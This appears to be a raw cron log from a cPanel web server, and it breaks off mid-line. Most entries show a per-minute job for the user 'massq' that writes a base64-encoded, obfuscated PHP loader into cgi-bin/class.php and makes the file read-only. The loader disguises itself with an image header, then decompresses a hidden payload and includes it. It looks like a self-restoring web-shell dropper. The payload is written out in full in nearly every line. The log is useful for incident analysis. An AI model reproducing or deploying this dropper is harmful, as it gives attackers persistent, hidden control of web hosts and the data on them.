Apr  9 06:20:01 server CROND[31565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:21:01 server CROND[31690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:22:01 server CROND[31757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:23:01 server CROND[31914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:24:01 server CROND[31977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:25:01 server CROND[32045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:25:01 server CROND[32046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:25:01 server CROND[32047]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 06:25:01 server CROND[32048]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:26:01 server CROND[32164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:27:01 server CROND[32230]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 06:27:01 server CROND[32231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:28:01 server CROND[32396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:29:01 server CROND[32470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:30:01 server CROND[32537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:30:01 server CROND[32538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 06:30:01 server CROND[32539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:30:01 server CROND[32547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:31:01 server CROND[32655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:32:01 server CROND[32712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:33:01 server CROND[32763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp